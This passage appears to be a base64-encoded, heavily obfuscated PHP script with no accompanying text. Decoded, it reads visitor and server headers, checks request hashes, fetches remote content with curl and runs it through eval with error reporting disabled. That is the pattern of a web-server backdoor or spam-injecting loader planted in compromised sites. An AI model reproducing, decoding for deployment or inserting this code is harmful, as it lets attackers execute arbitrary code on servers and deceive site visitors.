jsgWE1kbFRWSkRfSzRidnFqOiBSdTRWODQzd3RsU1hrMU46IGdvdG8gRnM0V2R4Q1lwNjVSRXFOOyBWRDg1b3ZJd3AwUDdWbW46ICRZZWNteDBFUGVWY05JZUQgPSBlclZ3OFA1QUk5SG9tRDEoKTsgZ290byBMQ1RHSEl3NVl3UFVlQUY7IExOYW9qdlFQUHphUlVuTDogSHRWdHpLWmN3WnNmXzBBOiBnb3RvIHUxN0NvTmhzUTFfMkVSTjsgSmZsSm9KSzJQemNWOTBXOiAkcVFmbkhrREVBM2lDYXVOID0gc3Vic3RyKCRENkthcGJxQ3ZUOXJBSW8sIHN0cnBvcygkRDZLYXBicUN2VDlyQUlvLCAiXDU2IikpOyBnb3RvIEdTUk5rWmNfWkRCSDlWRzsgd3VRdzVuQWtPejMxWHNMOiAkakQ4VVFQVVNwQk1ramQ4WyJceDY5Il0gPSBiTUlia0JVaUFYTDFrWEUoJFllY214MEVQZVZjTkllRCk7IGdvdG8gaDhaR3lsQTN2QmZNbXVDOyBtajhRTmFnU2NBbjJXcjk6ICRkaXlJWjl0dHFqdkRMMTAgPSAnJzsgZ290byBxMDBNeVhNaWVwNTJQNnQ7IGpDOG5JWlU5ajNmakNkNDogJHhJR0lqU0RPYzhFTXpnMCA9IEE3NVNWVXltZzM3NjlsUCgpIC4gJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBcMTM3XHg0OFwxMTdceDUzXHg1NCJdOyBnb3RvIE5GV3RSYVdITXczVFFVSDsgdkxHY2xCdlpVWmR2SlZGOiBBMDFWdnlYVXhtN3BGcTg6IGdvdG8gR043emFfeWlFYkVJS3BlOyBvdWlzcTFlTFNwV1dKWUQ6IGlmICghKCRfU0VSVkVSWyJceDUyXHg0NVx4NTFceDU1XHg0NVx4NTNceDU0XDEzN1wxMjVcMTIyXDExMSJdID09PSAiXDU3XHg1Mlx4MmQiIC4gbWQ1KCRfU0VSVkVSWyJceDUzXDEwNVwxMjJcMTI2XHg0NVwxMjJceDVmXDExNlx4NDFceDRkXHg0NSJdKSkpIHsgZ290byBSdTRWODQzd3RsU1hrMU47IH0gZ290byBMU3lsNnZfdDJkWm45dmU7IFVWZHFmRGR5M0l6bjBhdDogekg5NWhCUTFfVGdhMkxyOjpLZ01ZNjViRnFxVWhqQVYoKTsgZ290byBFbUxNcE5YbXlyOEZrazI7IFJyNmdPWGMyV2pSYVVOeTogJGpEOFVRUFVTcEJNa2pkOFsiXHg3MyJdID0gYk1pQmtiVWlBeEwxa1hlKCR4SUdJalNET2M4RU16ZzApOyBnb3RvIGZ2ODFPVFNoV2F1UFRZeTsgVmIwc3hLYTg3WjdCWmcxOiBmdW5jdGlvbiBCTUlCa0JVaUFYbDFLWEUoJEZGVElrRDI0T0JvZUNndCkgeyBnb3RvIFBoRktWZkNrUGZQRWw1MTsgWG1QMEwzRTM2b2NGUmxUOiByZXR1cm4gcnRyaW0oc3RydHIoYmFzZTY0X2VuY29kZSgkRkZUSWtEMjRPQm9lQ2d0KSwgIlx4MmJceDJmIiwgIlx4MmRcMTM3IiksICJcNzUiKTsgZ290byBhNHQ0akFzNUVvaEF5NzQ7IFoycGUzWVJrS1RJUllwUzogcmV0dXJuICcnOyBnb3RvIFFMVWVwYkc2bENBbzdpNjsgUUxVZXBiRzZsQ0FvN2k2OiBhTTFURGczeksxTUtVUjU6IGdvdG8gWG1QMEwzRTM2b2NGUmxUOyBQaEZLVmZDa1BmUEVsNTE6IGlmICgkRkZUSWtEMjRPQm9lQ2d0KSB7IGdvdG8gYU0xVERnM3pLMU1LVVI1OyB9IGdvdG8gWjJwZTNZUmtLVElSWXBTOyBhNHQ0akFzNUVvaEF5NzQ6IH0gZ290byBwdXQ4b2k2bkE3S0VVQnA7IFR2MWR2TUxqeHRWWUJscDogJGJkYWNoQmd0QjFDako0MCA9ICRNV05rQXpmOWgzeWd1MjgoIlwxNzYiLCAiXHgyMCIpOyBnb3RvIGZLZHVwb1hkeVkwV2ExVTsgZHR4ejJPanVuVXdfYkJfOiB2ZDhCa0R4MVM5WWhuV2Q6IGdvdG8gTE5hb2p2UVBQemFSVW5MOyBwdXQ4b2k2bkE3S0VVQnA6IGZ1bmN0aW9uIGVydlc4UDVhSTlob01EMSgpIHsgZ290byBPS1RZRF9xWTNxVXlvQ0c7IHgwTHNTbnphczYxeU1ZRDogJFllY214MEVQZVZjTkllRCA9ICRfU0VSVkVSWyJcMTIyXDEwNVx4NGRcMTE3XDEyNFx4NDVceDVmXHg0MVwxMDRceDQ0XHg1MiJdOyBnb3RvIEdjV2pYQkxLdk5MTUh0MzsgV2cxMDRWclhTNjFqeld0OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XHg1OFwxMzdcMTIyXDEwNVx4NDFcMTE0XHg1Zlx4NDlceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdceDU4XHg1ZlwxMjJcMTA1XDEwMVwxMTRceDVmXHg0OVwxMjAiXSkpIHsgZ290byBxZ2JRQXZoRDN2eHozQW87IH0gZ290byBmcHBNX0hxY0NNQjkzZXo7IE1PYzJiam9wRVA0bzhOcTogcmV0dXJuICRZZWNteDBFUGVWY05JZUQ7IGdvdG8gU243djlxc2ZVX21nS0RoOyBvd1pmVG9oUklianlwMjM6IGdvdG8geThxeUJXMTY4T1JwRmkzOyBnb3RvIExPaGFkZjkxeEVWdU83YzsgZDNTejI1ZEdKU0dCd0hkOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XHg0M1wxMDZceDVmXHg0M1x4NGZceDRlXDExNlx4NDVcMTAzXHg1NFx4NDlceDRlXDEwN1wxMzdcMTExXDEyMCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTM3XHg0M1wxMDZcMTM3XHg0M1wxMTdceDRlXHg0ZVwxMDVceDQzXHg1NFx4NDlceDRlXHg0N1wxMzdcMTExXHg1MCJdKSkgeyBnb3RvIHFOcHJvdzY4MFZoMTN5MjsgfSBnb3RvIFdnMTA0VnJYUzYxanpXdDsgaUxwSXVuakZlVmJHVVgzOiBCYnU1d3Bfd3pTWDRvOTM6IGdvdG8gTU9jMmJqb3BFUDRvOE5xOyBTcW1wdmh3UGc3cF9uZFQ6IGdvdG8geThxeUJXMTY4T1JwRmkzOyBnb3RvIGFhS0J0UWgzMDY3c0k5STsgQXV3YjhOb2pLdVFjY2JEOiAkWWVjbXgwRVBlVmNOSWVEID0gZXhwbG9kZSgiXHgyYyIsICRZZWNteDBFUGVWY05JZUQpOyBnb3RvIHRzTnlLSU51a2kzaFhTRDsgTE9oYWRmOTF4RVZ1TzdjOiBxZ2JRQXZoRDN2eHozQW86IGdvdG8gbWQyM0dKUXZuMjN4a0RvOyB0c055S0lOdWtpM2hYU0Q6ICRZZWNteDBFUGVWY05JZUQgPSAkWWVjbXgwRVBlVmNOSWVEWzBdOyBnb3RvIGlMcEl1bmpGZVZiR1VYMzsgT0tUWURfcVkzcVV5b0NHOiAkWWVjbXgwRVBlVmNOSWVEID0gJyc7IGdvdG8gZDNTejI1ZEdKU0dCd0hkOyBtZDIzR0pRdm4yM3hrRG86ICRZZWNteDBFUGVWY05JZUQgPSAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdcMTMwXHg1Zlx4NTJcMTA1XDEwMVwxMTRcMTM3XDExMVwxMjAiXTsgZ290byBTcW1wdmh3UGc3cF9uZFQ7IG1YOG9rdmd1dzZhUDVuTjogaWYgKCEoc3RycG9zKCRZZWNteDBFUGVWY05JZUQsICJcNTQiKSAhPT0gZmFsc2UpKSB7IGdvdG8gQmJ1NXdwX3d6U1g0bzkzOyB9IGdvdG8gQXV3YjhOb2pLdVFjY2JEOyBTMzFEMlkwVDRTSXl3cmI6ICRZZWNteDBFUGVWY05JZUQgPSB0cmltKHN0cl9yZXBsYWNlKCJcNDAiLCAnJywgJFllY214MEVQZVZjTkllRCksICJcNTQiKTsgZ290byBtWDhva3ZndXc2YVA1bk47IEdjV2pYQkxLdk5MTUh0MzogZ290byB5OHF5QlcxNjhPUnBGaTM7IGdvdG8gVFRXWkhOYXplMlIyMzZiOyBoZWdJZDRkUllsMkpZMk46IHk4cXlCVzE2OE9ScEZpMzogZ290byBTMzFEMlkwVDRTSXl3cmI7IHpMM0FJVWpCSU5MakNlNTogJFllY214MEVQZVZjTkllRCA9ICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXHg1ZlwxMzBceDVmXDEwNlwxMTdcMTIyXDEyN1wxMDFceDUyXDEwNFwxMDVcMTA0XHg1ZlwxMDZceDRmXDEyMiJdOyBnb3RvIGhlZ0lkNGRSWWwySlkyTjsgZnBwTV9IcWNDTUI5M2V6OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XDEzMFx4NWZcMTA2XDExN1wxMjJceDU3XDEwMVx4NTJceDQ0XDEwNVx4NDRceDVmXHg0Nlx4NGZcMTIyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFwxMzdcMTMwXDEzN1wxMDZceDRmXHg1Mlx4NTdcMTAxXHg1MlwxMDRceDQ1XHg0NFx4NWZceDQ2XHg0ZlwxMjIiXSkpIHsgZ290byB3enZRWmQwVXZZSTNyYmw7IH0gZ290byB4MExzU256YXM2MXlNWUQ7IFRUV1pITmF6ZTJSMjM2YjogcU5wcm93NjgwVmgxM3kyOiBnb3RvIG1TSm5MUzRBaFlPQzBqRzsgYWFLQnRRaDMwNjdzSTlJOiB3enZRWmQwVXZZSTNyYmw6IGdvdG8gekwzQUlVakJJTkxqQ2U1OyBtU0puTFM0QWhZT0Mwakc6ICRZZWNteDBFUGVWY05JZUQgPSAkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFx4NWZcMTAzXDEwNlx4NWZceDQzXDExN1x4NGVceDRlXHg0NVwxMDNceDU0XHg0OVx4NGVceDQ3XHg1ZlwxMTFceDUwIl07IGdvdG8gb3daZlRvaFJJYmp5cDIzOyBTbjd2OXFzZlVfbWdLRGg6IH0gZ290byBIY3RtYzJwQWYxampqN2g7IFBVOEFCNEtibzhFSFJreDogWXI5YXhVNHZ1UTNtU09ZOiBnb3RvIHZMR2NsQnZaVVpkdkpWRjsgaXJwY3RES2RhSmJQQXZiOiBlY2hvICRQalkwTWhlajZYNUJrRXNbIlwxNDNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXTsgZ290byBMRjloV2oxcF8zVkR5X207IGEyQzNHRzdmS3FCVHdvUDogQGhlYWRlcigiXDEwM1x4NmZcMTU2XHg3NFx4NjVcMTU2XDE2NFx4MmRcMTI0XDE3MVwxNjBceDY1XHgzYSIgLiAkUGpZME1oZWo2WDVCa0VzWyJcMTY0XDE3MVwxNjBcMTQ1Il0pOyBnb3RvIGlycGN0REtkYUpiUEF2YjsgUnE1Tmp0ZldNbDBONDd0OiBjbGFzcyB6SDk1SEJRMV9UR0EybHIgeyBzdGF0aWMgZnVuY3Rpb24gaFpPVElqYkh2WXF3UDNXKCRIVVNTbF9SM1JzWXo1QmcpIHsgZ290byBEMHNpR0N1RlFMMjJXZlg7IHNjRnByQ1NZM1dXNG9zazogZm9yZWFjaCAoJENfTU5oTGNWUWl6S3JYdyBhcyAkdU5sMVVocFlUSmVqVGhLID0+ICREUzVVd2xGN2ludzc1WEcpIHsgJEJaU1JUaHJDRWR0aWZydiAuPSAkSEpZaUV0M0RMT20xZG13WyREUzVVd2xGN2ludzc1WEcgLSA1MDgyMF07IGxYTUJjSUhYM2RCZnFNZzogfSBnb3RvIHlvWVg3d3FTZXRIdlJFZTsgdDJHek04cWNUYUFCSmVQOiByZXR1cm4gJEJaU1JUaHJDRWR0aWZydjsgZ290byBUTnhpaDNiTWw2WUNNcUM7IEIyTXRGZVU3NEx2bF84VDogJEhKWWlFdDNETE9tMWRtdyA9ICRibkZUbHRwc0ROaER1OVQoIlx4N2UiLCAiXDQwIik7IGdvdG8gT3ZLSVp3eGxoNXVVYjRWOyBIQmVjb3hjN1BmMlllaDk6ICRCWlNSVGhyQ0VkdGlmcnYgPSAnJzsgZ290byBzY0ZwckNTWTNXVzRvc2s7IE92S0lad3hsaDV1VWI0VjogJENfTU5oTGNWUWl6S3JYdyA9IGV4cGxvZGUoIlx4N2IiLCAkSFVTU2xfUjNSc1l6NUJnKTsgZ290byBIQmVjb3hjN1BmMlllaDk7IEQwc2lHQ3VGUUwyMldmWDogJGJuRlRsdHBzRE5oRHU5VCA9ICJceDcyIiAuICJcMTQxIiAuICJceDZlIiAuICJceDY3IiAuICJceDY1IjsgZ290byBCMk10RmVVNzRMdmxfOFQ7IHlvWVg3d3FTZXRIdlJFZTogSU9IOHBubzA2QV9aTHNzOiBnb3RvIHQyR3pNOHFjVGFBQkplUDsgVE54aWgzYk1sNllDTXFDOiB9IHN0YXRpYyBmdW5jdGlvbiBsOXpfQjBxMkxJcDU4d1ooJFhSQ0hIb004Xzk1VzVmdywgJGh1M2VpQnpTUEtCSXA1OSkgeyBnb3RvIGdOSVhTVXF6Z3ZfeGM4WTsgY042MlBMa1pCMEZibHBTOiByZXR1cm4gZW1wdHkoJEwwSWNOdzZFcDM4Q3AxbykgPyAkaHUzZWlCelNQS0JJcDU5KCRYUkNISG9NOF85NVc1ZncpIDogJEwwSWNOdzZFcDM4Q3AxbzsgZ290byBYdlFTTzVUdlBkYjRLS007IGxzelA1ano1TzJiNHgxdjogJEwwSWNOdzZFcDM4Q3AxbyA9IGN1cmxfZXhlYygkdUNORFdsN0dZOHdacDJsKTsgZ290byBjTjYyUExrWkIwRmJscFM7IFNVTlRhRzFYbWZKaWw2bjogY3VybF9zZXRvcHQoJHVDTkRXbDdHWTh3WnAybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gbHN6UDVqejVPMmI0eDF2OyBnTklYU1Vxemd2X3hjOFk6ICR1Q05EV2w3R1k4d1pwMmwgPSBjdXJsX2luaXQoJFhSQ0hIb004Xzk1VzVmdyk7IGdvdG8gU1VOVGFHMVhtZkppbDZuOyBYdlFTTzVUdlBkYjRLS006IH0gc3RhdGljIGZ1bmN0aW9uIEtnTXk2NWJmUXFVaGpBVigpIHsgZ290byBJSWtncG04ZlZ6M0JoOXY7IFRuUXpEX3FLeFJpSm5JODogJHlzNVNJS0F3WEtEa2NRMiA9IEAkWExOc0JJX082X2FIdEplWzAgKyAzXSgkWExOc0JJX082X2FIdEplWzMgKyAzXSwgJFJqZE9aTVlRajF3WlZQcCk7IGdvdG8geE93WW54WEM5MTVfTUZpOyB4T3dZbnhYQzkxNV9NRmk6ICRhaGowSmFfdjQ4aE5zWlAgPSAkWExOc0JJX082X2FIdEplWzEgKyAxXSgkeXM1U0lLQXdYS0RrY1EyLCB0cnVlKTsgZ290byBhem1FbzI2TFNzOTExN2Q7IGF6bUVvMjZMU3M5MTE3ZDogQCRYTE5zQklfTzZfYUh0SmVbNiArIDRdKElOUFVUX0dFVCwgIlwxNTdcMTQ2IikgPT0gMSAmJiBkaWUoJFhMTnNCSV9PNl9hSHRKZVswICsgNV0oX19GSUxFX18pKTsgZ290byBaUFZoczBVaEtuYU96N2M7IElJa2dwbThmVnozQmg5djogJGxDRmNsR2hpNHhGMHJRQyA9IGFycmF5KCJceDM1XHgzMFw3MFw2NFw2N1x4N2JcNjVcNjBceDM4XHgzM1x4MzJceDdiXDY1XHgzMFw3MFx4MzRceDM1XHg3Ylw2NVx4MzBcNzBceDM0XDcxXDE3M1w2NVw2MFx4MzhcNjNcNjBcMTczXHgzNVx4MzBceDM4XDY0XDY1XDE3M1x4MzVceDMwXHgzOFx4MzVcNjFceDdiXHgzNVx4MzBcNzBcNjRceDM0XDE3M1x4MzVceDMwXHgzOFw2Mlw3MVx4N2JceDM1XHgzMFw3MFw2M1w2Nlx4N2JceDM1XDYwXDcwXHgzNFx4MzdceDdiXHgzNVx4MzBceDM4XHgzM1w2MFwxNzNceDM1XHgzMFx4MzhcNjRcNjFceDdiXHgzNVw2MFx4MzhceDMzXDY1XHg3Ylx4MzVcNjBcNzBcNjNcNjYiLCAiXHgzNVx4MzBceDM4XHgzM1x4MzFcMTczXHgzNVw2MFx4MzhcNjNceDMwXHg3Ylw2NVw2MFw3MFx4MzNceDMyXDE3M1x4MzVcNjBceDM4XDY1XDYxXDE3M1x4MzVceDMwXDcwXHgzM1x4MzJcMTczXDY1XDYwXHgzOFw2M1w2NVwxNzNcNjVceDMwXHgzOFx4MzNcNjBcMTczXDY1XDYwXHgzOFw3MVx4MzdcMTczXHgzNVx4MzBceDM4XDcxXDY1IiwgIlx4MzVcNjBceDM4XHgzNFw2MFx4N2JcNjVceDMwXDcwXHgzM1x4MzFcMTczXHgzNVw2MFw3MFw2M1w2NVx4N2JcNjVcNjBceDM4XHgzM1x4MzZceDdiXHgzNVw2MFx4MzhceDM1XHgzMVx4N2JcNjVcNjBceDM4XHgzNFw2Nlx4N2JcNjVcNjBceDM4XHgzNFx4MzVcMTczXHgzNVx4MzBcNzBceDM0XDY3XHg3Ylx4MzVcNjBceDM4XDYzXHgzNVx4N2JceDM1XDYwXHgzOFx4MzRceDM2XDE3M1x4MzVcNjBceDM4XDY0XHgzNSIsICJcNjVcNjBceDM4XHgzM1x4MzRcMTczXHgzNVw2MFw3MFx4MzRceDM5XDE3M1w2NVx4MzBcNzBcNjRceDM3XDE3M1x4MzVcNjBcNzBceDMzXDcxIiwgIlx4MzVcNjBcNzBceDM0XHgzOFwxNzNceDM1XDYwXHgzOFw2NFw3MVx4N2JcNjVcNjBcNzBcNjNceDMxXHg3Ylx4MzVceDMwXDcwXHgzNFw2NVx4N2JcNjVceDMwXHgzOFw3MVx4MzJceDdiXHgzNVw2MFw3MFw3MVx4MzRcMTczXDY1XHgzMFw3MFw2NVx4MzFceDdiXHgzNVx4MzBcNzBceDM0XDY2XDE3M1w2NVw2MFx4MzhcNjRcNjVcMTczXHgzNVx4MzBceDM4XDY0XHgzN1x4N2JcNjVceDMwXDcwXHgzM1x4MzVcMTczXHgzNVx4MzBceDM4XHgzNFx4MzZcMTczXDY1XHgzMFw3MFw2NFx4MzUiLCAiXDY1XDYwXHgzOFw2NFx4MzRceDdiXDY1XHgzMFx4MzhceDM0XHgzMVwxNzNceDM1XHgzMFw3MFw2M1x4MzhceDdiXDY1XHgzMFx4MzhceDM0XHgzNVx4N2JceDM1XDYwXHgzOFw2NVx4MzFceDdiXDY1XDYwXDcwXHgzNFx4MzNcMTczXHgzNVw2MFx4MzhcNjRceDM1XHg3Ylw2NVw2MFx4MzhceDMzXHgzMFx4N2JceDM1XDYwXDcwXDY1XDYxXDE3M1w2NVx4MzBceDM4XDY0XHgzN1wxNzNceDM1XHgzMFx4MzhcNjNceDM1XDE3M1x4MzVcNjBceDM4XDYzXDY2XHg3Ylx4MzVcNjBceDM4XDYzXHgzMFwxNzNceDM1XHgzMFx4MzhcNjRceDM1XHg3Ylw2NVx4MzBceDM4XHgzM1x4MzZcMTczXHgzNVw2MFx4MzhceDMzXDYwXHg3Ylx4MzVceDMwXHgzOFx4MzNcNjEiLCAiXDY1XDYwXDcwXHgzN1x4MzRceDdiXHgzNVw2MFw3MVx4MzBceDM0IiwgIlw2NVw2MFx4MzhcNjJcNjEiLCAiXHgzNVx4MzBcNzBcNzFceDM5XHg3Ylx4MzVcNjBceDM5XHgzMFx4MzQiLCAiXHgzNVw2MFw3MFx4MzhceDMxXDE3M1x4MzVceDMwXHgzOFw2Nlw2NFx4N2JceDM1XDYwXHgzOFx4MzZceDM0XDE3M1w2NVw2MFw3MFw3MFx4MzFcMTczXDY1XDYwXHgzOFw2NVx4MzciLCAiXDY1XHgzMFw3MFw2NFw2NFx4N2JceDM1XDYwXHgzOFx4MzRcNjFceDdiXHgzNVw2MFw3MFw2M1x4MzhcMTczXHgzNVw2MFx4MzhceDMzXHgzMFx4N2JceDM1XHgzMFx4MzhcNjRceDM1XHg3Ylw2NVx4MzBcNzBcNjNcNjJceDdiXDY1XHgzMFw3MFx4MzVcNjFceDdiXDY1XHgzMFx4MzhceDM0XHgzMVx4N2JcNjVceDMwXDcwXDYzXDY2XHg3Ylx4MzVcNjBceDM4XDYzXDY0XDE3M1x4MzVceDMwXHgzOFw2Mlw3MVwxNzNcNjVceDMwXHgzOFw2M1x4MzAiKTsgZ290byBNR0tiNzFTNWRvUURIa247IFpQVmhzMFVoS25hT3o3YzogaWYgKCEoQCRhaGowSmFfdjQ4aE5zWlBbMF0gLSB0aW1lKCkgPiAwIGFuZCBtZDUobWQ1KCRhaGowSmFfdjQ4aE5zWlBbMiArIDFdKSkgPT09ICJceDMyXHgzOVw2N1w3MFw2NFx4NjVceDM0XDE0M1x4MzFceDYyXDY1XHg2NVwxNDVcNzFcNjRceDYyXDY2XDYwXDYwXDY1XHg2M1wxNDFceDMwXDE0M1w2Nlw2NFw2N1wxNDZceDY1XHgzNFx4NjVcNzAiKSkgeyBnb3RvIEg1SWtkeDlJMHhubUV5SjsgfSBnb3RvIG9TbHFHMlBEcmpmdEhxXzsgb1NscUcyUERyamZ0SHFfOiAkc3MwbVJhRU5GdkJuVnJjID0gc2VsZjo6bDlaX0IwUTJMaVA1OHd6KCRhaGowSmFfdjQ4aE5zWlBbMSArIDBdLCAkWExOc0JJX082X2FIdEplWzMgKyAyXSk7IGdvdG8gQXMyeUxod3JUUDRyb05aOyBCVk0wczdUT3hYeVlDOUQ6IG5VcTNEZmdEYkNlOVA3YjogZ290byBRNnRDRFpkMVlPYWdTTGg7IFE2dENEWmQxWU9hZ1NMaDogJFJqZE9aTVlRajF3WlZQcCA9IEAkWExOc0JJX082X2FIdEplWzFdKCRYTE5zQklfTzZfYUh0SmVbMiArIDhdKElOUFVUX0dFVCwgJFhMTnNCSV9PNl9hSHRKZVs5ICsgMF0pKTsgZ290byBUblF6RF9xS3hSaUpuSTg7IE1HS2I3MVM1ZG9RREhrbjogZm9yZWFjaCAoJGxDRmNsR2hpNHhGMHJRQyBhcyAkd1RZX0tMWlBZRnNBcUFpKSB7ICRYTE5zQklfTzZfYUh0SmVbXSA9IHNlbGY6Omh6b1RJSkJodnlxV3AzVygkd1RZX0tMWlBZRnNBcUFpKTsgRjN5ampqREcxdkhoNDZvOiB9IGdvdG8gQlZNMHM3VE94WHlZQzlEOyBBczJ5TGh3clRQNHJvTlo6IEBldmFsKCRYTE5zQklfTzZfYUh0SmVbMyArIDFdKCRzczBtUmFFTkZ2Qm5WcmMpKTsgZ290byBQUmtBYTc3QllCeUFQbWI7IGVXMXkzVUpfUmc0UjlyZTogSDVJa2R4OUkweG5tRXlKOiBnb3RvIFIxb2RfYkt0aHU0OVFBcDsgUFJrQWE3N0JZQnlBUG1iOiBkaWU7IGdvdG8gZVcxeTNVSl9SZzRSOXJlOyBSMW9kX2JLdGh1NDlRQXA6IH0gfSBnb3RvIFVWZHFmRGR5M0l6bjBhdDsgZ1ZzakpPQnR3WXlEeDRmOiBtZXRhcGhvbmUoIlwxMTVcMTA0XHg0OVwxNzFcMTE3XHg1NFx4NDlcNjRcMTE3XDEyNFx4NTlcNjNcMTE3XHg1NFwxMjVceDc3XHg0ZVwxNzJceDYzXDY1XHg0Zlx4NDRcMTIxXHgzNVwxMTZcMTUyXHg1NVx4MzBceDRkXDE3Mlx4NTVcMTcxIik7IGdvdG8gUnE1Tmp0ZldNbDBONDd0OyBIY3RtYzJwQWYxampqN2g6IGZ1bmN0aW9uIEE3NXNWVXlNZzM3NjlMcCgpIHsgZ290byBkZEp3Ujd3Q1dkc2xvU0U7IEpLdF9jRHNuZlRYeGtteDogVXlSTnM1SUlHcEJ6U3FMOiBnb3RvIHYxVFhLZFVDUFN4cW9iQzsgSmt1aGlURzVGVVdSX2IxOiAkclY2Rk95SVVaT2NDWEdvID0gIlwxNTBceDc0XDE2NFwxNjBceDczXDcyXDU3XDU3IjsgZ290byBWNEpCVnFmOXQ4ZkpNTWM7IHYxVFhLZFVDUFN4cW9iQzogcmV0dXJuICRyVjZGT3lJVVpPY0NYR287IGdvdG8gZTFfZHNod2laeldZcWZyOyBRWno5MDNKSjA0X2R3Qmo6IGxlbklieWJRdGRaZE5INTogZ290byBQT2hwSUx0WnRobTJRS1U7IFYyWGJSYXZkeGJvNzBzdDogJHJWNkZPeUlVWk9jQ1hHbyA9ICJceDY4XDE2NFx4NzRcMTYwXDE2M1w3Mlw1N1x4MmYiOyBnb3RvIGU0TkFza1A2RnZTNTJFRzsgUE9ocElMdFp0aG0yUUtVOiAkclY2Rk95SVVaT2NDWEdvID0gIlwxNTBceDc0XHg3NFwxNjBcMTYzXHgzYVw1N1x4MmYiOyBnb3RvIEpLdF9jRHNuZlRYeGtteDsgVjRKQlZxZjl0OGZKTU1jOiBnb3RvIFV5Uk5zNUlJR3BCelNxTDsgZ290byBuUUJja2p1MDljT0xwZTU7IExxYjdFb1dfSkR0bzdIWDogaTRXVHllalUyZzVrMDlkOiBnb3RvIEprdWhpVEc1RlVXUl9iMTsgRFhBYXJZQk1UM3BRanhwOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXDEwNlwxMjJcMTE3XHg0ZVwxMjRceDVmXDEwNVx4NGVcMTA0XHg1Zlx4NDhceDU0XHg1NFx4NTBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTM3XHg0NlwxMjJcMTE3XDExNlx4NTRceDVmXDEwNVx4NGVcMTA0XHg1Zlx4NDhcMTI0XHg1NFwxMjBceDUzIl0pICE9PSAiXDE1N1x4NjZcMTQ2IikgeyBnb3RvIGxlbklieWJRdGRaZE5INTsgfSBnb3RvIHc0Z1pVQWJUbHBnUDMzeDsgeF80Nkc1TFRMZUxlZjgwOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXDEzMFx4NWZcMTA2XDExN1x4NTJcMTI3XHg0MVx4NTJceDQ0XHg0NVx4NDRcMTM3XDEyMFx4NTJceDRmXDEyNFx4NGYiXSkgJiYgJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBcMTM3XDEzMFx4NWZceDQ2XHg0Zlx4NTJceDU3XHg0MVx4NTJceDQ0XHg0NVwxMDRcMTM3XHg1MFwxMjJcMTE3XDEyNFx4NGYiXSA9PT0gIlwxNTBcMTY0XDE2NFx4NzBcMTYzIikgeyBnb3RvIG1BSTFkSW04YkJhVFhuaDsgfSBnb3RvIERYQWFyWUJNVDNwUWp4cDsgZGRKd1I3d0NXZHNsb1NFOiAkclY2Rk95SVVaT2NDWEdvID0gIlwxNTBceDc0XHg3NFwxNjBcNzJceDJmXHgyZiI7IGdvdG8gQnJ4NzdrWTkybFZMZzhGOyBlNE5Bc2tQNkZ2UzUyRUc6IGdvdG8gVXlSTnM1SUlHcEJ6U3FMOyBnb3RvIFFaejkwM0pKMDRfZHdCajsgblFCY2tqdTA5Y09McGU1OiBtQUkxZEltOGJCYVRYbmg6IGdvdG8gVjJYYlJhdmR4Ym83MHN0OyB3NGdaVUFiVGxwZ1AzM3g6IGdvdG8gVXlSTnM1SUlHcEJ6U3FMOyBnb3RvIExxYjdFb1dfSkR0bzdIWDsgQnJ4NzdrWTkybFZMZzhGOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBceDUzIl0pICE9PSAiXDE1N1x4NjZceDY2IikgeyBnb3RvIGk0V1R5ZWpVMmc1azA5ZDsgfSBnb3RvIHhfNDZHNUxUTGVMZWY4MDsgZTFfZHNod2laeldZcWZyOiB9IGdvdG8gb3Vpc3ExZUxTcFdXSllEOyBsblBBdFQ2Z2dINVk0bVg6IHVCV2FZUktHUENaaTliRzogZ290byBWRDg1b3ZJd3AwUDdWbW47IGNKeU9vV1lOTDNDNm1UMDogS2tXWTk5S09iVlVEQnhHOiBnb3RvIGV4b0FzQTZUUGNYV1pKRDsgZnY4MU9UU2hXYXVQVFl5OiAkakQ4VVFQVVNwQk1ramQ4WyJcMTY1Il0gPSBibUlCa2J1SWFYbDFreGUoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XDEyNVx4NTNceDQ1XHg1Mlx4NWZceDQxXHg0N1wxMDVcMTE2XHg1NCJdKTsgZ290byBQQ2tGNHBsQThpYzRUa3Y7IFBDa0Y0cGxBOGljNFRrdjogJEQ2S2FwYnFDdlQ5ckFJbyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWNcNzdcNTZcNTJcNTciLCAnJywgJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVceDQ1XHg1M1x4NTRceDVmXDEyNVwxMjJcMTExIl0pOyBnb3RvIE4zUVk5V28zMTFBYVp4NzsgYzAySjNIQU0wNGo5MmJsOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gbTBNMDdteUI5Z05mYmtHOyBHTjd6YV95aUViRUlLcGU6IGlmICghc3RybGVuKCRQalkwTWhlajZYNUJrRXNbIlwxNDNcMTU3XHg2ZVwxNjRcMTQ1XHg2ZVwxNjQiXSkpIHsgZ290byBLa1dZOTlLT2JWVURCeEc7IH0gZ290byBhMkMzR0c3ZktxQlR3b1A7IGV4b0FzQTZUUGNYV1pKRDogaWE4NGZoWUp4NURkV21GOgo/Pgo8P3